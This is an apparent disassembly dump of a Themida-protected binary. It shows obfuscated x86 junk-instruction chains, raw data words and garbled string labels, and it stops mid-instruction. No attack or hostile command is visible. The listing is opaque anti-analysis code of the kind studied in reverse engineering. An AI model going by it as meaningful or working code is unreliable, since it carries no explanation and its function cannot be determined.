87000000h, 895C2414h, 3C8B2414h, 5B545324h dd 4B850h, 0C3010000h, 0E92434FFh, 0FFFFFEF1h ; --------------------------------------------------------------------------- loc_553EEC: ; CODE XREF: Themida_:0055E9F7j xchg ecx, [esp] pop esp std jmp loc_559ED5 ; --------------------------------------------------------------------------- loc_553EF6: ; CODE XREF: Themida_:00561946j sub ebp, 22A51E01h pop esi push 3541h mov [esp], esi jmp loc_555085 ; --------------------------------------------------------------------------- loc_553F0A: ; CODE XREF: Themida_:00554157j push 235Eh mov [esp], ecx push 60B66A89h mov ecx, [esp] add esp, 4 jmp loc_55173A ; --------------------------------------------------------------------------- db 0F7h, 0D7h, 47h dd 8108E7C1h, 0FE40FCC7h, 0E9FB3181h, 994Eh ; --------------------------------------------------------------------------- loc_553F38: ; CODE XREF: Themida_:005546D2j push dword ptr [esp] pop ebp add esp, 4 jmp loc_562097 ; --------------------------------------------------------------------------- loc_553F47: ; CODE XREF: Themida_:0055690Aj dec edx push ebp mov ebp, 1BB2609Fh jmp loc_553A1D ; --------------------------------------------------------------------------- db 8Bh dd 0D5E9243Ch, 0F70000F1h, 8DEF81DFh, 81F2FBB2h, 784257C1h dd 9D8AE94Ch, 0F7290000h, 0F743E9h, 0B5515200h, 0EA48E9A7h db 2 dup(0) ; --------------------------------------------------------------------------- loc_553F7E: ; CODE XREF: Themida_:0055A1EBj mov edi, 38776120h jmp loc_5669BE ; --------------------------------------------------------------------------- loc_553F88: ; CODE XREF: Themida_:00557E30j add ebx, 0CAC74E8h push ecx jmp loc_5587CC ; --------------------------------------------------------------------------- dd 8B242C87h, 0EC812424h, 4, 9D85E9h db 0 ; --------------------------------------------------------------------------- loc_553FA5: ; CODE XREF: Themida_:00557784j xchg edx, [esp] mov esp, [esp] and eax, ecx push dword ptr [esp] mov ecx, [esp] jmp loc_55DB93 ; --------------------------------------------------------------------------- a_se7 db '_ИE7',0 align 2 dw 8B57h dd 0C481241Ch, 4, 58C3315Fh, 0ACEAE9h db 0 ; --------------------------------------------------------------------------- loc_553FD1: ; CODE XREF: Themida_:00557087j pop esi pop edx sub edx, esi pop esi push dword ptr [esp] pop edi add esp, 4 jmp loc_562137 ; --------------------------------------------------------------------------- loc_553FE2: ; CODE XREF: Themida_:00554808j add edx, edi pop edi add edx, 4 xchg edx, [esp] mov esp, [esp] loc_553FF1: ; CODE XREF: Themida_:00559892j push 6A83h mov [esp], ebx jmp loc_560EA6 ; --------------------------------------------------------------------------- dw 0BA52h dd 37591C57h, 2678F281h, 0D6015A97h, 10157E9h db 0 ; --------------------------------------------------------------------------- loc_554011: ; CODE XREF: Themida_:00566698j pop ebx or edx, 76FD3C11h add edx, 6D9A7DBBh or ecx, edx mov edx, [esp] jmp loc_55EFFD ; --------------------------------------------------------------------------- dd 0E9240C87h, 26C2h, 89240C89h, 4C181E1h, 83000000h, 2C8904ECh dd 0AAB95124h, 0C112F83Ch, 494908E9h, 0DBD4B850h, 0C129D636h dd 52D9F758h, 6F96E9h db 0 ; --------------------------------------------------------------------------- loc_55405D: ; CODE XREF: Themida_:0055DD19j sub eax, 9EC91D99h and edi, eax mov eax, [esp] add esp, 4 push 0 jmp loc_556B9F ; --------------------------------------------------------------------------- dd 4B850h, 48E90000h, 0B60000E2h, 0DEE8023h, 0C680EED0h dd 8BF02829h, 0C4832414h, 0FEA30C04h, 0E91724C0h, 10FE0h ; --------------------------------------------------------------------------- loc_55409C: ; CODE XREF: Themida_:0055324Dj mov ebx, eax pop eax add ecx, ebx mov ebx, [esp] add esp, 4 jmp loc_55370C ; --------------------------------------------------------------------------- loc_5540AC: ; CODE XREF: Themida_:0055D1D2j mov [esp], ebp jmp loc_558C16 ; --------------------------------------------------------------------------- dd 5204C483h, 1C12E957h, 0E9500000h, 10BDEh ; --------------------------------------------------------------------------- loc_5540C4: ; CODE XREF: Themida_:0055A710j mov edi, 2F2B0B2Ah jmp loc_565975 ; --------------------------------------------------------------------------- loc_5540CE: ; CODE XREF: Themida_:00557071j push dword ptr [esp] push dword ptr [esp] pop ecx add esp, 4 push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] mov esp, [esp] push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] jmp loc_554ACB ; --------------------------------------------------------------------------- db 29h dd 0A1C681DEh, 5B45774Bh, 8904EC83h, 2C812434h, 315E1D24h dd 0DB66E967h, 0EB810000h, 1, 50EDE9h db 0 ; --------------------------------------------------------------------------- loc_55412D: ; CODE XREF: Themida_:005610A8j push ebx mov ebx, esp push eax mov eax, 17FD7C5Ch sub eax, 6AC0452Bh xor eax, 4F1F76AAh sub eax, 0E2224197h jmp loc_56420F ; --------------------------------------------------------------------------- loc_55414A: ; CODE XREF: Themida_:00564D4Cj add eax, 0FFFFFFFFh push 3A8Fh mov [esp], esi jmp loc_553F0A ; --------------------------------------------------------------------------- dword_55415C dd 240C8B66h, 563768h, 0C4E9E900h ; DATA XREF: Themida_:00551378o db 2 dup(0) ; --------------------------------------------------------------------------- loc_55416A: ; CODE XREF: Themida_:00552E9Fj sub bl, dh add bl, 0C9h pop edx push dword ptr [esp] mov eax, [esp] add esp, 4 jmp loc_56299F ; --------------------------------------------------------------------------- db 5Ah, 81h, 0C2h dd 4, 5204EA83h, 42474FFh, 1CD6E95Ah, 0C4830001h, 51DDF704h dd 3F324FB9h, 0BF575327h, 7A72768Bh, 0C71E781h, 0E7810660h dd 2CD60A98h, 4C5CC781h, 70E91872h, 5D000031h, 3526EE81h dd 51E928B7h db 22h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5541CB: ; CODE XREF: Themida_:00561C2Aj add esp, 4 jmp loc_564783 ; --------------------------------------------------------------------------- aRusuo db 'RUИ⌠o',0 align 2 loc_5541DA: ; CODE XREF: Themida_:00551AD9j mov esp, [esp] div cx push edi push esp mov edi, [esp] add esp, 4 push edx push 1DD2h mov [esp], esi jmp loc_55D8B7 ; --------------------------------------------------------------------------- db 5Fh, 88h, 30h dd 6F5E958h, 81590000h, 444519C3h, 68F3291Bh, 20Eh, 10878E9h dd 4DC38100h, 29030B7Ch, 4DEB81C3h, 0E9030B7Ch, 2B56h dd 80F0F380h, 0EBC0DFF3h, 8B91E902h db 2 dup(0) ; --------------------------------------------------------------------------- loc_554236: ; CODE XREF: Themida_:0055DC0Aj pop edi push eax mov eax, 584845ACh xor eax, 30117075h add edx, eax pop eax add eax, edx pop edx push eax add dword ptr [esp], 759F6CEDh pop edx jmp loc_55A18F ; --------------------------------------------------------------------------- word_554256 dw 8B66h ; DATA XREF: Themida_:00551314o dd 6DE92404h db 0FCh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55425F: ; CODE XREF: Themida_:00561712j add ebp, 4 jmp loc_5568E2 ; --------------------------------------------------------------------------- db 81h dd 25B78AEEh, 5EF589BFh, 60E9E829h, 4300011Ch, 400DE381h dd 0EB8103FFh, 87CFFE41h, 0DD8CE9h, 0E9CD2900h, 10320h dd 2BEE815Eh, 8B730A2Dh, 0C4832404h, 8BF52104h, 0C4832434h dd 6EDC104h, 1D7FBB53h, 0C3813803h, 7B2D020Fh, 0A531E9h dd 24048300h, 240C8B04h, 0E904C483h, 145h, 0A0398BBBh dd 78C38104h, 0C16ACD0Ch, 0EBC103E3h, 2847E906h db 1, 0 ; --------------------------------------------------------------------------- loc_5542DE: ; CODE XREF: Themida_:0055F044j push 2CDDh mov [esp], eax mov eax, 78BB64ECh sub eax, 2DBE5DF1h jmp loc_5620EE ; --------------------------------------------------------------------------- db 89h, 1Ch, 24h dd 0F954E9h db 0 ; --------------------------------------------------------------------------- loc_5542FD: ; CODE XREF: Themida_:0055E43Aj pop eax push ecx mov ecx, 3680303Ah add ecx, 33BB27C2h sub ecx, 1 jmp loc_563A84 ; --------------------------------------------------------------------------- loc_554315: ; CODE XREF: Themida_:00557816j pop ebp pop ecx pop edi xor ebp, 4A7C4BEBh xchg ecx, ebp jmp loc_5641B5 ; --------------------------------------------------------------------------- loc_554325: ; CODE XREF: Themida_:00553265j pop esi xchg ecx, [esp] pop esp jmp loc_560607 ; --------------------------------------------------------------------------- db 33h dd 3B5C241Ch, 0B0E99CC8h, 0FFFFFFD1h, 0FFE92434h, 8BFFFFEFh dd 0C481240Ch, 4, 0FFD19AE9h, 63B850FFh, 0D3FBA6Ah, 0E823720h dd 0ABE7E9h, 4C78100h, 83000000h, 0FF5702C7h, 5F042474h dd 5C24048Fh, 24148B66h, 23E1E956h, 0C890001h, 0E9F98924h dd 86B2h ; --------------------------------------------------------------------------- loc_554388: ; CODE XREF: Themida_:005537D0j push ebx mov ebx, esp push esi mov esi, 4 add ebx, esi jmp loc_562946 ; --------------------------------------------------------------------------- dd 0E1C0C1FEh, 4714E908h, 0E9580000h, 12047h ; --------------------------------------------------------------------------- loc_5543A8: ; CODE XREF: Themida_:005595E8j xchg ecx, [esp] mov esp, [esp] push ebp push edx mov edx, 2422251h sub edx, 242224Dh jmp loc_55D621 ; --------------------------------------------------------------------------- dd 4004C483h, 776B68h, 714FE900h, 0C3810000h, 78564005h dd 619FE9h, 0F7D7F700h, 20F781D7h, 1090848h, 8A6FE9FEh dd 48B0000h, 4C48124h, 0E9000000h, 2913h ; --------------------------------------------------------------------------- loc_5543F8: ; CODE XREF: Themida_:00564342j mov ebp, [esp] add esp, 4 jmp loc_563ED7 ; --------------------------------------------------------------------------- loc_554406: ; CODE XREF: Themida_:00563625j pop edx pop ebp jmp loc_553397 ; --------------------------------------------------------------------------- db 81h, 0C1h, 4 dd 52000000h, 78D8E9h, 0F4805B00h, 0F5C48064h, 887AEC80h dd 48B66E3h, 1235E924h, 0C2680000h, 89000037h, 8B542414h dd 78E92414h, 810000BEh, 4C2h, 4C28100h, 87000000h, 0E95C2414h dd 0FFFFD097h ; --------------------------------------------------------------------------- loc_554454: ; CODE XREF: Themida_:0055D34Cj push dword ptr [esp] pop esi push edx jmp loc_561E61 ; --------------------------------------------------------------------------- dw 0B151h dd 0FED1F651h, 3AE980C1h, 0E947F180h, 0F1CCh, 0E680E2B6h dd 39FCE9AFh, 0F7810000h, 0DF1698B4h, 3C8BF929h, 4C48324h dd 0BD55565Bh, 2DF870DBh, 78F27BEh, 8BEE01D2h, 0C483242Ch dd 0FFF10104h, 535E2434h, 6BE9E389h, 5E000082h, 0F67BF681h dd 0F0019BD0h, 5E2434FFh, 81E18951h, 4C1h, 4C18300h, 5C240C87h dd 0A074E9h, 0B2C78100h, 89DCB68Fh, 243C8BFEh, 12173E9h dd 24148B00h, 4C481h, 46E90000h, 28FFFFE9h, 0F0285AD0h dd 0E95AB004h, 908Eh, 61B1DC05h, 8BC13113h, 89522404h dd 4C281E2h, 56000000h, 93CAE9h db 0 ; --------------------------------------------------------------------------- loc_554511: ; CODE XREF: Themida_:00554D36j mov [esp], esi mov esi, esp jmp loc_565118 ; --------------------------------------------------------------------------- loc_55451B: ; CODE XREF: Themida_:0055C023j mov ebp, 72766C5Dh add ebp, 7024658Bh jmp loc_563E4B ; --------------------------------------------------------------------------- db 21h dd 0BB535BDAh, 5642437Dh, 3EDAE381h, 0BF5774A5h, 264A37F7h dd 515FFB29h, 3F2034B9h, 49D9F760h, 8904EC83h, 0F9B82404h dd 0E912B56Fh, 2F94h, 0BD3BC7BEh, 6EEC132h, 0EEC1DEF7h dd 0F0C68104h, 0C17AE86Ch, 565705EEh, 0EA4EB6BEh, 0F639E97Ah dd 0CC88FFFFh, 1C71E9h, 24343300h, 0AC82E9h, 362C6800h dd 0C890000h, 132DE924h, 59540001h, 5B3D68h, 241C8900h dd 0B34451BBh, 55F3817Dh, 817DB344h, 0AE328EC1h, 0E9D9011Dh dd 0C63Ch dword_5545BC dd 33243C31h, 3C31243Ch, 0EDE95724h ; DATA XREF: Themida_:005512D8o db 0F8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5545CB: ; CODE XREF: Themida_:00555F50j sub ebp, ecx add ebp, 7C655979h pop ecx push 7C69h jmp loc_56284D ; --------------------------------------------------------------------------- loc_5545DE: ; CODE XREF: Themida_:0056162Dj mov [esp], ecx mov ecx, esp jmp loc_5523E7 ; --------------------------------------------------------------------------- dd 0C781C701h, 2A51545Ah, 4C78158h, 87000000h, 835C243Ch dd 0FF5202C2h, 5A042474h, 8B24048Fh, 24D32424h, 0D8E99C24h db 0CEh, 2 dup(0FFh) byte_554613 db 8Fh ; DATA XREF: Themida_:005512F0o dd 0CED1E902h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55461A: ; CODE XREF: Themida_:00559531j pop edx sub edi, 3B7B4729h add edi, 23DA05BBh sub edi, ebx push edx mov edx, 35734C26h shr edx, 5 neg edx add edx, 2585A01Ch sub edi, edx pop edx sub esp, 4 mov [esp], eax jmp loc_55A230 ; --------------------------------------------------------------------------- dd 7EE9D029h, 5A000110h, 0ED80CDFEh, 0C0C5FE13h, 0F58006EDh dd 0B7B75385h, 52B7EF80h, 0E280C1B2h, 80C2FE2Bh, 0EA80D0C2h dd 5AD70032h, 0EF80C7FEh, 0EBAEE901h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55467E: ; CODE XREF: Themida_:005640EAj or ebp, 73AF606Bh push ebx jmp loc_557292 ; --------------------------------------------------------------------------- dw 0D101h aU9Ba4Sqszd db 'U╫ь|9[│М4<≥QИ┤└',0 dd 608D6800h, 4890000h, 26A06824h, 92581152h, 2BE9D2F7h dd 54000031h, 5E2434FFh, 81E18951h, 4C1h, 4C18300h, 1C58E9h db 0 ; --------------------------------------------------------------------------- loc_5546C9: ; CODE XREF: Themida_:00552CC8j sub ebx, 535C7BD2h sub eax, ebx pop ebx jmp loc_553F38 ; --------------------------------------------------------------------------- db 51h dd 81428BB9h, 59CE2941h, 3F39EF81h, 0F7017A76h, 3F39C781h dd 575E7A76h, 0FFEBE9h db 0 ; --------------------------------------------------------------------------- loc_5546F5: ; CODE XREF: Themida_:00564941j add esi, 15BB14ABh add edx, esi pop esi sub edx, 4 xchg edx, [esp] pop esp jmp loc_566588 ; --------------------------------------------------------------------------- db 0B9h, 7Bh, 4Bh dd 0DFBB4920h, 0C12D4E06h, 0C38102E3h, 6F126BA8h, 0EE5BE953h db 2 dup(0) ; --------------------------------------------------------------------------- loc_554726: ; CODE XREF: Themida_:00560F97j mov ebx, [esp] add esp, 4 mov [edi+eax*4+1], ch mov ecx, [esp] add esp, 4 jmp loc_55CB5A ; --------------------------------------------------------------------------- dw 0B753h dd 3085B4DDh, 53665BFCh, 0A9E9ACB3h, 8B00009Bh, 0C4812434h dd 4, 2739C681h, 0C601099Eh, 2739EE81h, 8758099Eh, 248B2434h dd 51A02D24h, 8AE96615h db 0AEh, 2 dup(0) ; --------------------------------------------------------------------------- loc_554777: ; CODE XREF: Themida_:00556C22j push eax jmp loc_55E201 ; --------------------------------------------------------------------------- loc_55477D: ; CODE XREF: Themida_:00564D25j add esp, 4 jmp loc_55E44A ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 81000000h, 6E089DC3h, 81C30102h, 6E089DEBh, 24048B02h dd 5304C483h, 42474FFh, 52241C8Bh, 2162E9h, 2474FF00h dd 48F5B04h, 24248B24h, 0CF5AE9h, 0E9E90100h, 0FFFFD61Dh dd 815AD089h, 1C0A4AE9h, 0E9C1010Ah, 0DCAEh ; --------------------------------------------------------------------------- loc_5547D4: ; CODE XREF: Themida_:005637F3j sub esp, 4 mov [esp], edx mov edx, 400875DCh sub edx, 0FFFFFFFFh or edx, 2DAB1310h sub edx, 1 xor edx, 6083AC3h and ebp, edx pop edx jmp loc_552284 ; --------------------------------------------------------------------------- loc_5547FC: ; CODE XREF: Themida_:0055854Ej add esp, 4 xor edi, 1F442819h jmp loc_553FE2 ; --------------------------------------------------------------------------- loc_55480D: ; CODE XREF: Themida_:0055B788j push 4917h mov [esp], ebx jmp loc_560548 ; --------------------------------------------------------------------------- dw 0D101h dd 74FF515Ah, 0E9590424h, 0FFFFE6ACh, 52242C89h, 0C281E289h dd 4, 1E4CE9h, 243C3300h, 12048E9h db 0 ; --------------------------------------------------------------------------- loc_554841: ; CODE XREF: Themida_:00565905j add ecx, eax sub ecx, 4F380B87h sub ecx, 168519B9h jmp loc_553441 ; --------------------------------------------------------------------------- aLsSl db '╨▀≥|╧И╚╩',0 align 2 dw 8F5Ah dd 248B2404h, 48B6624h, 0E0895024h, 4BA52h, 0D92D0000h dd 1416B5Dh, 0C7FE9D0h db 1, 0 ; --------------------------------------------------------------------------- loc_55487E: ; CODE XREF: Themida_:005563E4j pop eax add [esp+8], edi pop edi mov edi, [esp] add esp, 4 pop ecx push esi mov esi, 4 add ecx, 2E132377h add ecx, esi sub ecx, 2E132377h pop esi push ebp jmp loc_55EBA1 ; --------------------------------------------------------------------------- db 0BBh, 11h, 0Ch aHnseq db 'HNИEО',0 dw 100h dd 0C3358C1h, 240C3124h, 8B240C33h, 3E682424h, 8900001Bh dd 0E789243Ch, 427DBB53h, 0F3813B88h, 3B884279h, 10303E9h db 0 ; --------------------------------------------------------------------------- loc_5548DD: ; CODE XREF: Themida_:005557F4j push esi jmp loc_566B1B ; --------------------------------------------------------------------------- db 89h dd 0CFBF243Ch, 81014109h, 0BEF635C7h, 0C1E957FEh, 8B0000C1h dd 0C481240Ch, 4, 0CBE5E95Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_554906: ; CODE XREF: Themida_:005650B1j push ebp mov ebp, 5E036277h dec ebp jmp loc_566C1F ; --------------------------------------------------------------------------- dw 835Dh dd 0C58104C4h, 4, 8302C583h, 2C8904ECh, 2474FF24h, 2434FF04h dd 0E954575Dh, 0C18h, 81D3F759h, 0FFFFFFC3h, 81D3F7FFh dd 1A01B2F3h, 5BD9296Ah, 17D5E181h, 0E9C12AD0h, 0BFC98107h dd 0E97B7F00h, 1232Dh, 2F0ABE56h, 0F50123FAh, 0C7EE9h dd 72E1BF00h, 0B6E946EEh, 8B00002Bh, 0C4812414h, 4, 0FFEBBEE9h db 0FFh ; --------------------------------------------------------------------------- loc_554981: ; CODE XREF: Themida_:00560BD1j push 1186h mov [esp], edx jmp loc_55951C ; --------------------------------------------------------------------------- loc_55498E: ; CODE XREF: Themida_:00551E21j mov ebx, [esp] add esp, 4 push dword ptr [esp] mov eax, [esp] add esp, 4 jmp loc_56131A ; --------------------------------------------------------------------------- db 0BDh, 0DAh, 77h dd 0F5814907h, 490777DEh, 55DE801h, 4, 229BE9h, 0E9575300h dd 100BFh ; --------------------------------------------------------------------------- loc_5549C4: ; CODE XREF: Themida_:00559BEEj push ebx push esi push 4B90706Fh pop esi jmp loc_55BD48 ; --------------------------------------------------------------------------- db 1, 0F0h, 0E9h dd 86C0h, 89240C89h, 0D670E9E1h, 0EBD10000h, 50ADE9h, 32B85000h dd 35427301h, 8BC3640h, 5223C181h, 0C101347Dh, 5223E981h dd 48B347Dh, 4C48324h, 24148B5Bh, 8104C483h, 4E9h, 0BE3E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_554A1A: ; CODE XREF: Themida_:00556A6Cj xor ecx, eax push 568Fh mov [esp], eax push ebx pop eax pop ebx push 1060h mov [esp], ebx xor [esp], edi jmp loc_55C70E ; --------------------------------------------------------------------------- db 0B2h dd 0B6C28031h, 889AEA80h, 0D0045AD0h, 352C7B24h, 0C058C120h dd 0E18003E9h, 80D1F636h, 0C180FFE9h, 0B75350FFh, 0E9CFFE96h dd 0A3E3h, 0FFCA82E9h, 0EC8355FFh, 240C8904h, 942DAFB9h dd 0A3E9521Dh, 350000DDh, 7F9B26E0h, 6814355Ah, 39051ABAh dd 31F0D4CCh, 24048BC1h, 81E18951h, 4C1h, 4C18300h, 5C240C87h dd 0C855E981h, 0CF89CDB2h, 81240C8Bh, 4C4h, 2BE78100h dd 533ABD73h, 5E77F1BBh, 0E9DF210Fh, 635Bh, 0FBE9FE87h db 3Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_554ACB: ; CODE XREF: Themida_:00554102j mov esp, [esp] mov [esp], eax mov eax, esp add eax, 4 jmp loc_558653 ; --------------------------------------------------------------------------- db 2Dh, 4, 0 dd 4870000h, 24248B24h, 88B2E9h, 59CA8900h, 7EDE281h, 89E97A9Ah dd 810000DCh, 1D3C2DC7h, 0CFB8E940h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_554B06: ; CODE XREF: Themida_:00562E49j jmp loc_5514EB ; --------------------------------------------------------------------------- aPsed db 'PИe╓',0 db 0 byte_554B11 db 0FFh, 77h, 1Ch ; DATA XREF: Themida_:0055120Co dd 1858669Dh, 0E99C2404h, 0FFFFC9CBh ; --------------------------------------------------------------------------- loc_554B20: ; CODE XREF: Themida_:0055343Cj add edi, eax pop eax jmp loc_55D9BE ; --------------------------------------------------------------------------- loc_554B28: ; CODE XREF: Themida_:0055D26Bj shl ebx, 8 add ebx, 25315DD9h and ebx, 389E3020h xor ebx, 2EDB25A6h and edi, ebx pop ebx add edi, 33A94968h sub edi, 34B2890h add edx, edi jmp loc_558661 ; --------------------------------------------------------------------------- db 59h dd 10479E9h, 0FFE95300h, 89FFFFF8h, 4EC83E0h, 0BF243C89h dd 4, 4BB9BA52h, 0EAC179A0h, 0FEC28107h, 813EF922h, 0FE7FBECAh dd 1420E90Ah, 34FF0001h, 48CEE924h, 4810000h, 4009A924h dd 24348B58h, 0D9DFE9h, 0B8E95D00h, 890000CAh, 240C8BCFh dd 4C481h, 0CF290000h, 0E6F9E959h, 0E959FFFFh, 0C7E4h dd 4EF835Ah, 4914E9h db 0 ; --------------------------------------------------------------------------- loc_554BC5: ; CODE XREF: Themida_:0055E0F0j mov [esp], edx push dword ptr [esp+4] pop edx pop dword ptr [esp] pop esp mov [esp], ebx mov ebx, esi push ebx jmp loc_564D1C ; --------------------------------------------------------------------------- aXsf db '╦',7,'\жXИ■у',0 align 2 loc_554BE6: ; CODE XREF: Themida_:00558876j push 7FA64F7Ah pop ecx jmp loc_560810 ; --------------------------------------------------------------------------- db 5Dh, 0C1h, 0E8h dd 0C3BD5508h, 0C13A6C31h, 0E5C104E5h, 0F0C58105h, 4D5F076Eh dd 3E67C581h, 0D5E9CA23h, 8BFFFFCEh, 24D22424h, 0CCE99C24h db 0C8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_554C1F: ; CODE XREF: Themida_:0056546Cj xor [esp], ecx xor ecx, [esp] mov esp, [esp] jmp loc_557C13 ; --------------------------------------------------------------------------- aYbTSS3o db 'Y│иы$╧TаИ',7,'И3O',0 align 4 loc_554C3C: ; CODE XREF: Themida_:0055EE5Ej mov eax, esp add eax, 4 add eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp and eax, edi push dword ptr [esp] pop edi add esp, 4 jmp loc_565DD9 ; --------------------------------------------------------------------------- dd 0E5C009B5h, 0BAE58003h, 8088B753h, 0FD2852EDh, 8B52C580h dd 0ADE9241Ch db 0EDh, 2 dup(0) byte_554C7B db 66h ; DATA XREF: Themida_:00551318o dd 0E924248Bh, 11627h ; --------------------------------------------------------------------------- loc_554C84: ; CODE XREF: Themida_:0055BEBDj mov ebp, edi pop edi push esi mov esi, 32990EB6h jmp loc_55FC07 ; --------------------------------------------------------------------------- loc_554C92: ; CODE XREF: Themida_:005592C5j mov edi, [esp] add esp, 4 jmp loc_5647DD ; --------------------------------------------------------------------------- loc_554C9D: ; CODE XREF: Themida_:0055B004j or ebx, ebx jnz loc_55EC26 push edx mov edx, esp add edx, 4 sub edx, 4 jmp loc_551C04 ; --------------------------------------------------------------------------- db 81h, 0C1h, 4 dd 87000000h, 0D4E9240Ch db 15h, 1, 0 ; --------------------------------------------------------------------------- loc_554CC7: ; CODE XREF: Themida_:0055D2FCj add cl, ah pop eax and dl, cl pop ecx sub dl, 42h or cl, dl push dword ptr [esp] pop edx add esp, 4 xor cl, 5Dh push dx mov dh, 0A0h add al, dh pop dx add al, cl push dx jmp loc_555688 ; --------------------------------------------------------------------------- db 32h, 64h, 24h dd 24643001h, 0F6DC8601h, 30DC30D3h, 30DC30E3h, 32012464h dd 30012464h, 0E9012464h, 8B20h ; --------------------------------------------------------------------------- loc_554D10: ; CODE XREF: Themida_:00564514j xor edi, 0DD1A8F58h sub edx, edi pop edi mov edi, edx jmp loc_551DB2 ; --------------------------------------------------------------------------- loc_554D20: ; CODE XREF: Themida_:00564A10j add esp, 4 add esp, 4 add edi, 0F351FCB9h and eax, edi mov edi, [esp] push 0FBDh jmp loc_554511 ; --------------------------------------------------------------------------- db 89h dd 0B8502414h, 1E2F37B6h, 1BA5240h, 29000000h, 0E0C15AD0h dd 0B160E903h db 2 dup(0) ; --------------------------------------------------------------------------- loc_554D56: ; CODE XREF: Themida_:00552DA2j push ebx mov ebx, 4 sub esi, 19C61FFFh sub esi, ebx add esi, 19C61FFFh pop ebx xchg esi, [esp] pop esp mov [esp], eax jmp loc_55C86B ; --------------------------------------------------------------------------- db 0B9h dd 4, 0C8BC801h, 4C48324h, 664DE9h db 0 ; --------------------------------------------------------------------------- loc_554D89: ; CODE XREF: Themida_:0055FFA0j or edx, 20DE099Eh or edx, 6FB742DFh push eax mov eax, esp jmp loc_559C86 ; --------------------------------------------------------------------------- db 5Ch, 52h, 0E9h dd 0FFFFF6CCh ; --------------------------------------------------------------------------- loc_554DA4: ; CODE XREF: Themida_:00556605j pop esi push ecx push edx push 2CFD7077h pop edx xor edx, 337833A2h sub edx, 1BCA0BFBh mov ecx, edx pop edx xor edx, ecx mov ecx, [esp] add esp, 4 push ebx mov ebx, 270C7F7Bh and edx, ebx pop ebx not edx jmp loc_55305A ; --------------------------------------------------------------------------- loc_554DD4: ; CODE XREF: Themida_:0055395Bj add eax, 568A5DC9h add eax, 367A394Ah jmp loc_556D75 ; --------------------------------------------------------------------------- loc_554DE3: ; CODE XREF: Themida_:00562CE2j pop ecx sub eax, edi push edx mov edx, 586164B3h sub eax, edx pop edx mov edi, [esp] jmp loc_55B97C ; --------------------------------------------------------------------------- aR8Fsss db 'R╨8/гfИsХ',0 align 2 dw 0C483h dd 0E9565D04h, 0D95Ah, 1CBE5658h, 8172396Fh, 703EB0C6h dd 62E68121h, 5555983Fh, 0F76A7EBDh, 0F0CD8175h, 81060B18h dd 0B54F48E5h, 22C58122h, 11BCD9Bh, 0F6815DEEh, 220E6A71h dd 1250EE81h, 0E6C159E7h, 0FBAE904h, 0F8010001h, 0FFE6C0E9h dd 245401FFh, 348B5A04h, 4C48124h, 0E9000000h, 50A9h, 3AC7BB53h dd 0BE56167Bh, 64BD7200h, 4607EEC1h, 389BEE81h, 0F301F824h dd 95DCE95Eh, 8F660000h, 55662404h, 26866h, 1665D66h, 6602246Ch dd 51242C8Bh, 0BA525954h, 4, 7EE6BD55h, 0E9810359h, 6530AC4h dd 0C181E929h, 6530AC4h, 7BC1815Dh, 148692Ch, 7BE981D1h dd 5048692Ch, 597EE6B8h, 58C10103h, 2C1835Ah, 5C240C87h dd 0FFC60EE9h db 0FFh ; --------------------------------------------------------------------------- loc_554EDD: ; CODE XREF: Themida_:00566D24j xor ecx, ebp pop ebp jmp loc_564A15 ; --------------------------------------------------------------------------- db 1, 44h, 24h dd 24448104h, 6C497C04h, 24048B25h, 0FF04C483h, 13E92434h db 0FAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_554EFF: ; CODE XREF: Themida_:00559402j push ecx mov ecx, 751F0D76h jmp loc_556576 ; --------------------------------------------------------------------------- dw 0BF57h dd 225A6518h, 354AF781h, 0F82938BAh, 243C8B5Fh, 4C481h dd 0EC830000h, 243C8904h, 8F507168h, 0DFF75F5Fh, 6098E9h dd 37CF6800h, 0C890000h, 62BE5624h, 0F75C7A40h, 0E6814EDEh dd 4C57009Dh, 0B24DE9h, 0E7EF8100h, 31842005h, 10685FF8h dd 89000047h, 57BD242Ch, 566D346Fh, 0E904EC83h, 0FFFFFA68h ; --------------------------------------------------------------------------- loc_554F70: ; CODE XREF: Themida_:00556F6Fj add esp, 4 add esp, 4 push 3D0Bh mov [esp], edx push 1 mov edx, [esp] sub esp, 4 jmp loc_566B36 ; --------------------------------------------------------------------------- word_554F8E dw 8F66h ; DATA XREF: Themida_:00551394o dd 0C555E902h, 0A224FFFFh, 690CD20Ch, 0FFC652E9h, 0E1C158FFh dd 8E1C104h, 760BC181h, 0E9C17C6Bh, 48E905h, 0C4830001h dd 4685204h, 0FF000000h, 0F2E92434h, 8F00008Fh, 248B2404h dd 2434FF24h, 5724048Bh, 0C781E789h, 4, 91E9h, 0C505E900h dd 0D9F7FFFFh, 4E9C149h, 0BDE4C181h, 0E2055436h, 293F5568h dd 68E22DC8h, 29593F55h, 2434FFC3h, 0C726E9h, 2DD82900h dd 0CBA68C3h, 1399BB53h, 31E9440Ch, 680000DAh, 4C15h, 0E9243C89h dd 0FB1Dh ; --------------------------------------------------------------------------- loc_555028: ; CODE XREF: Themida_:0055E0DFj mov ebp, esp add ebp, 4 push edx mov edx, 546743CBh shl edx, 5 jmp loc_55258C ; --------------------------------------------------------------------------- dw 0E958h dd 11BBFh, 4C481h, 0EC810000h, 4, 81242C89h, 2BF72434h dd 0E9591281h, 2A16h, 1950558h, 0D0010BC3h, 0C301952Dh dd 0A174E90Bh, 0C7830000h, 243C8704h, 2AAFE9h, 5BB45000h dd 0B403E9h db 0 ; --------------------------------------------------------------------------- loc_555085: ; CODE XREF: Themida_:00553F05j push ecx mov ecx, 31E57920h xor ecx, eax xor eax, ecx xor ecx, eax dec eax jmp loc_559E8F ; --------------------------------------------------------------------------- loc_555097: ; CODE XREF: Themida_:00556C1Aj add ebp, 62FC4BF7h add ebp, eax jmp loc_5600F0 ; --------------------------------------------------------------------------- loc_5550A4: ; CODE XREF: Themida_:005667F1j sub esp, 4 mov [esp], eax push 653Ah 